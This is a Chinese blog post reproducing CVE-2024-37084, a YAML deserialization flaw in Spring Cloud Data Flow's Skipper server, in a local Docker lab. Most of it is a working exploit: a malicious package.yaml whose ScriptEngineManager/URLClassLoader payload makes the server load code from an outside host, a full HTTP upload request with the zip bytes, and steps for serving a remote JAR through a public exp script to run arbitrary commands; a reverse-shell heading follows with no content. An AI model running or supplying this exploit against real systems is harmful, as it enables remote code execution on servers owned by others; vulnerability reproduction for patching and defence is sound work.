【漏洞复现】Spring Cloud Data Flow - CVE-2024-37084 漏洞复现

CVE-2024-37084

Spring Cloud Data Flow(SCDF)是一个基于微服务的工具包,用于在 Cloud Foundry 和 Kubernetes 中构建流式和批量数据处理管道。在受影响版本中Skipper 服务器在处理文件上传时没有对路径进行验证,拥有 Skipper 服务器 API 访问权限攻击者可以通过构造恶意请求将 YAML 文件写入服务器的任意位置,同时由于 PackageMetadata 的创建过程中使用默认构造器反序列化 YAML 数据,从而导致任意代码执行。

Spring Cloud Skipper是一个包管理器,它专为在多个云平台上部署、升级及回滚Spring Boot应用程序而设计。Skipper是Spring Cloud Data Flow的一个核心组件,负责处理应用程序的部署、升级和回滚等操作。

影响版本

  • [2.11.0 - 2.11.3]

环境搭建

  • 测试版本:Spring Cloud Data Flow 2.11.3

使用 docker 的方式搭建,虚拟机建议 3G 内存。下载该版本源码:Releases · spring-cloud/spring-cloud-dataflow · GitHub,复制到 ubuntu 中。

进入 src/docker-compose 目录,执行 docker-compose up -d 启动

如下都能访问,说明环境启动成功

#Spring Cloud Data Flow Server的默认HTTP端口
http://localhost:9393/dashboard
#Skipper server port
http://localhost:7577/api

漏洞复现

1. 新建文件夹 thePoc-5.0.0,其中package.yaml 文件内容如下,替换如下的 dnslog 地址

repositoryId: 1
repositoryName: local
apiVersion: 1.0.0
version: 5.0.0
kind: test
origin: thePoc
displayName: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://8nygtm.dnslog.cn"]]]]
name: thePoc
    

2. 将文件夹 thePoc-5.0.0 打包成thePoc-5.0.0.zip

3. 使用如 python 下脚本生成packageFileAsBytes

with open('thePoc-5.0.0.zip', 'rb') as zip_file:
    print(list(zip_file.read()))

4. 发送 poc,将生成的数据替换到packageFileAsBytes 中

POST /api/package/upload HTTP/1.1
Host: 192.168.67.135:7577
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 2057

{"repoName": "local", "name": "thePoc", "version": "5.0.0", "extension": "zip", "packageFileAsBytes":[80, 75, 3, 4, 20, 0, 0, 0, 8, 0, 188, 164, 78, 89, 183, 61, 203, 157, 172, 0, 0, 0, 245, 0, 0, 0, 25, 0, 0, 0, 116, 104, 101, 80, 111, 99, 45, 53, 46, 48, 46, 48, 47, 112, 97, 99, 107, 97, 103, 101, 46, 121, 97, 109, 108, 93, 78, 65, 10, 194, 48, 16, 188, 7, 242, 135, 216, 7, 164, 245, 32, 72, 175, 226, 65, 168, 34, 138, 94, 138, 135, 37, 9, 105, 52, 221, 132, 36, 20, 251, 123, 163, 85, 10, 206, 101, 153, 157, 217, 217, 9, 202, 187, 104, 146, 11, 227, 78, 214, 108, 73, 201, 188, 56, 64, 175, 106, 102, 157, 0, 75, 9, 120, 115, 85, 33, 26, 135, 217, 197, 43, 94, 81, 50, 252, 248, 106, 226, 15, 131, 57, 34, 169, 152, 40, 113, 193, 104, 131, 153, 117, 234, 232, 4, 37, 210, 68, 111, 225, 27, 185, 88, 220, 97, 128, 39, 143, 34, 24, 159, 248, 249, 51, 182, 152, 15, 212, 30, 16, 180, 10, 172, 157, 60, 28, 85, 226, 151, 83, 179, 177, 16, 99, 227, 64, 190, 165, 63, 141, 181, 69, 151, 146, 175, 203, 114, 141, 163, 78, 61, 151, 24, 173, 211, 92, 96, 113, 203, 160, 4, 243, 211, 185, 9, 203, 120, 1, 80, 75, 3, 4, 20, 0, 0, 0, 0, 0, 168, 162, 78, 89, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 13, 0, 0, 0, 116, 104, 101, 80, 111, 99, 45, 53, 46, 48, 46, 48, 47, 80, 75, 1, 2, 63, 0, 20, 0, 0, 0, 8, 0, 188, 164, 78, 89, 183, 61, 203, 157, 172, 0, 0, 0, 245, 0, 0, 0, 25, 0, 36, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 116, 104, 101, 80, 111, 99, 45, 53, 46, 48, 46, 48, 47, 112, 97, 99, 107, 97, 103, 101, 46, 121, 97, 109, 108, 10, 0, 32, 0, 0, 0, 0, 0, 1, 0, 24, 0, 154, 12, 201, 227, 53, 30, 219, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 80, 75, 1, 2, 63, 0, 20, 0, 0, 0, 0, 0, 168, 162, 78, 89, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 13, 0, 36, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 227, 0, 0, 0, 116, 104, 101, 80, 111, 99, 45, 53, 46, 48, 46, 48, 47, 10, 0, 32, 0, 0, 0, 0, 0, 1, 0, 24, 0, 156, 125, 205, 143, 51, 30, 219, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 80, 75, 5, 6, 0, 0, 0, 0, 2, 0, 2, 0, 202, 0, 0, 0, 14, 1, 0, 0, 0, 0]}

命令执行
  1. 下载 exp 源码:GitHub - Ly4j/CVE-2024-37084-Exp: Spring Cloud Data Flow CVE-2024-37084 exp
  2. src\artsploit\AwesomeScriptEngineFactory.java,exec()中输入你想执行的命令

双击.py 文件生成 yaml-payload.jar 文件

  1. 将 yaml-payload.jar 放在 linux 服务器上,用 python 启动一个 web 服务。注意:每次执行不同的命令,都需要重新命名yaml-payload.jar,即让访问的xx.jar,每次名字都不同。否则新命令不生效

访问路径如:http://192.168.67.133/yaml-payload.jar

cve-2024-37084-exp.py -u http://192.168.67.135:7577 -payload http://192.168.67.133/yaml-payload.jar

进入对应的容器查看,成功执行命令

反弹 shell

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ly4j

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值